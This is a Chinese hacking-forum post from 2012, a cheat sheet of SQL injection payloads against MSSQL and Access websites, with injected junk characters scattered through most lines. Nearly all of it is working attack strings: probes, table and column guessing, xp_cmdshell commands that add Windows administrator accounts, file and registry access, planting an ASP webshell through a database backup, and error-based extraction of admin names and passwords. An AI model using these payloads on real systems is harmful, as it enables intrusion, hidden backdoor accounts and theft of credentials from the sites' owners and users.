找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2040|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
3 P  Z+ o3 x" a$ H  Y;and 1=1   F# @9 r/ Y' ?2 i$ E; ]
;and 1=2 ) X/ u. m+ |* H, L) L
6 x: s. a' I; `. I+ y! t$ N
2.初步判断是否是mssql $ S$ h) \1 }" {' b3 G; _
;and user>0 0 ~; V. V) e$ I

9 J9 V. i& [! ~& D% i; U. l/ L3.判断数据库系统 * p8 E* E+ ]$ k  s
;and (select count(*) from sysobjects)>0 mssql 4 c: X$ S1 X' a: J7 ?
;and (select count(*) from msysobjects)>0 access
' f( h% k$ q" G# [6 B# c- l% y  k7 U8 ?7 I% ~
4.注入参数是字符 1 E: s! [4 E+ V. Q- R! q
'and [查询条件] and ''=' ! @. U4 p: x; G6 ^& E/ E+ a: }

1 X8 v- N2 T! |& Z5.搜索时没过滤参数的 8 f  H" W0 Y) }  P# U7 ]6 L* N7 E
'and [查询条件] and '%25'=' 9 A8 W! P) \, a( A& F9 g1 f1 j

0 A9 x2 u. T5 S) _6.猜数表名
4 ?* m7 m) O0 `' O' Q5 E2 L;and (select Count(*) from [表名])>0
% T/ y. K, b9 d+ U9 t% Q2 I7 H: ]; w) N! q  Q* l1 c. L
7.猜字段 5 X  l7 T  R9 R, s0 w, |- h
;and (select Count(字段名) from 表名)>0 4 w: k5 A( |; K& O5 ~7 ^! N

  g2 j7 K* A2 W7 Y7 T7 ^; K, O; ]- T8.猜字段中记录长度 + w- w* M* j2 E' K: T; m; Z
;and (select top 1 len(字段名) from 表名)>0 9 j' Z0 D' {4 O) p) n' Y

/ ]) ~9 Y% F* A# K. p- h9.(1)猜字段的ascii值(access) * R$ @# `) M- s. p7 K. s
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 . }. F: z1 d- \6 Z) Z* P
  M9 S/ _1 ]# q! ^
(2)猜字段的ascii值(mssql)
6 u1 P% G/ @/ X;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ p7 ?- [! A9 i" b( z, F! p+ X
, t9 T6 _9 n* l' a
10.测试权限结构(mssql)
; T8 {) i, D4 f2 r% ~- W;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 ?9 [! b. a- M, @8 ]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( _( V) a9 m$ |" F* j7 C& v  e/ C0 b# D5 ^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- * l0 f, P' U! w8 u" ^( Y$ x0 O1 d; f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 U. O9 c2 C$ E# s4 q. K;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
5 C' j0 Z$ @2 R# B( ~;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 F) x5 {. G8 h- U; N;and 1=(select IS_MEMBER('db_owner'));--
5 I* R% _+ |; ?! K4 X9 l, C5 d) S: N$ z& ]' y% }0 }1 d9 [# u
11.添加mssql和系统的帐户 0 m4 U! Q5 q! g; k/ c! P
;exec master.dbo.sp_addlogin username;--
4 Y3 C1 }7 }( _/ v+ n" I;exec master.dbo.sp_password null,username,password;--
9 ?5 k, q) Z- B1 ~# I( S) l$ E& ];exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( k) M  a% |: D% a
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
6 G9 K5 a4 x2 w$ _- D% |;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 x" k" _0 D: k
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
( Y* R$ ?: e. L& u
) h* Y' O6 S' \( g12.(1)遍历目录 : ~- c+ C( l% Y
;create table dirs(paths varchar(100), id int) ; b# q5 _8 ^. A& y
;insert dirs exec master.dbo.xp_dirtree 'c:\' ( ]( j! I' \3 L: a  _
;and (select top 1 paths from dirs)>0
  z9 {- G8 g. t' ~& }3 w;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 {* n4 S# M7 `4 G2 d$ h

! h: z# j8 y* i# ?* J& `(2)遍历目录 ( k: W- `/ \5 B, a5 N, g. P
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
& T) n4 k) u4 s% m: B/ N;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # p+ O' n9 b! x' a
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1 i& |$ B) f% x6 n$ e" B
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
6 j/ U% c& k+ \9 o;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 b* S, @8 H& K# A  X1 q- x
* H. f, Z9 s; H* T7 r! A% n  d; g
13.mssql中的存储过程
+ X" v/ Z" d5 I* ]: w; }' Z" cxp_regenumvalues 注册表根键, 子键
/ C3 n* H5 a2 r# h% V( W& a. u) J' K;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % H/ |. M, {; @( z
xp_regread 根键,子键,键值名 8 X7 q* o$ Z& K! }5 ^6 j% T. ^
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   e) V4 v( Q0 ?1 c2 z! l
xp_regwrite 根键,子键, 值名, 值类型, 值
- U/ Y+ R( W6 ~3 N值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 B6 r3 [9 d( D9 \% b& ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
9 ^. l6 J* G% i- t, B  v# x3 Oxp_regdeletevalue 根键,子键,值名
/ k  v+ i% `$ ]! C8 m* x3 M& a9 Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
, U1 Q& D+ k  B% X7 M, axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6 s+ l& ]; i+ H/ a
4 W/ I6 y6 c1 a. D( o$ W
14.mssql的backup创建webshell
2 ]* @) f! b& P, luse model
4 |% K; g. }/ N% ?2 m/ g- f" l* gcreate table cmd(str image); $ k8 `# Q  F$ a
insert into cmd(str) values ('<% Dim oScript %>');
: z/ s" X$ _" a4 |backup database model to disk='c:\l.asp';
( l! ?& m; y; C( H* k3 D9 c4 {+ \$ S* N# _
15.mssql内置函数
4 J' g; x2 {7 P;and (select @@version)>0 获得Windows的版本号 * e9 }& R  F, f. z: h3 k1 S
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6 v$ v5 P# V6 u5 ^% l1 a
;and (select user_name())>0 爆当前系统的连接用户 ! v, b$ F4 j/ i, y2 W( c
;and (select db_name())>0 得到当前连接的数据库 2 k7 O, y% H) P* s4 k% m
  _7 t8 [- F7 b1 A, x% s8 G: r

1 \( V4 T6 t% p; u) [4 u7 j* g2 O8 T, l* @7 ^
MSSQL手注暴库
( k( y% C8 A! \+ p+ R( q- V/ N+ Y- }, e' c' K5 J; B' j
1.暴出当前表名和列名
% K- u+ h% ~& d" j+ K1 U在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
4 p5 I" r" H" D2 O. `3 s3 w
# `9 a1 b4 N' {; V  V第一.爆出所有数据库名7 @2 w+ _  {$ u( N2 }6 k- l
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
3 q5 ], x* Y) y( X/ X第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。1 Y. e/ t: C  ~/ T& K

1 q! ^5 k  I1 `1 x" Z$ oand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
. n9 ?- u/ l1 b1 P& f; b/ T. m
5 _0 ^- F( A, N7 q2 {8 O- u; E) M( l+ s# q
第二.爆出指定库中的所有表名- `6 w3 N3 e# ~4 a3 @0 T' e
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
1 e; ^# C# W7 R9 J再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 X( M6 D  m( E1 g0 Y: Y7 G0 v0 n* P; r
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
0 Y# T8 K" v) t+ O0 [$ E; ~  tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--' V7 l; E" J4 L9 K% v
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
' g7 |* _# h, _; Q0 Q4 r0 F
( G4 K4 U' e2 H" S( l) r8 Y  [0 F2 K4.爆出指定表中的所有列名
; i( {; P& l; b2 dand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 d8 x1 @5 z# N: l& A2 j0 D2 q//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
; q8 ~  S2 _: ?3 b; E5 j
' ~; s6 v! K" @( Rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名) d8 A2 [$ D, c

' u7 q  Z% t9 N! T  U再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
4 ]2 [; q6 ~  c/ z% N' ^- @0 |依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。6 U! q" [3 V7 n) W  l+ ]* G* l* t
3 r- w( F% [& K

( D6 E1 P* g- _% u/ Z3 L/ r  dand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
# U; t! s- j; v8 q( m6 V- C+ e* C. C7 W
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
- y6 K) n# {3 p( S, q# W
1 P/ O. g; d* G# V2 c( \and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- , B( Q* O: V  y$ z/ j
" v8 I' ]$ L) s. V! t4 U5 y  G  h

8 M. \- M2 M5 N% \6 Y0 W- ^6 a$ D4 c  i/ ?8 [
5.读取指定表中的数据
9 Z! b# D/ u3 u. O- q/ q
$ [) ^9 [- t/ j5 sand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
  E3 x, P! M; P. I3 [! n: M( N- a
( Q8 K3 T1 Q, Q2 |( tand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
& {5 o" M3 b* |! a8 f) z" T7 C, S! T
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码( ^6 c- t/ N$ r% J# ~$ L

3 M- d5 J1 c4 z: S
1 @( B" y' f3 ~and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)* K8 n1 Z9 x6 R6 j: y2 w; J

% x, u2 h& h/ x* n2 S  [. Aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
0 B( [# ?) ]. }  K; A; X; Q
, }* d1 e+ _6 M5 o; s) gand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
- c0 I- D  ~. ]* {4 Z: D/ T# @( Z; d% {
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
# r1 [/ O& v. Y6 a* ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表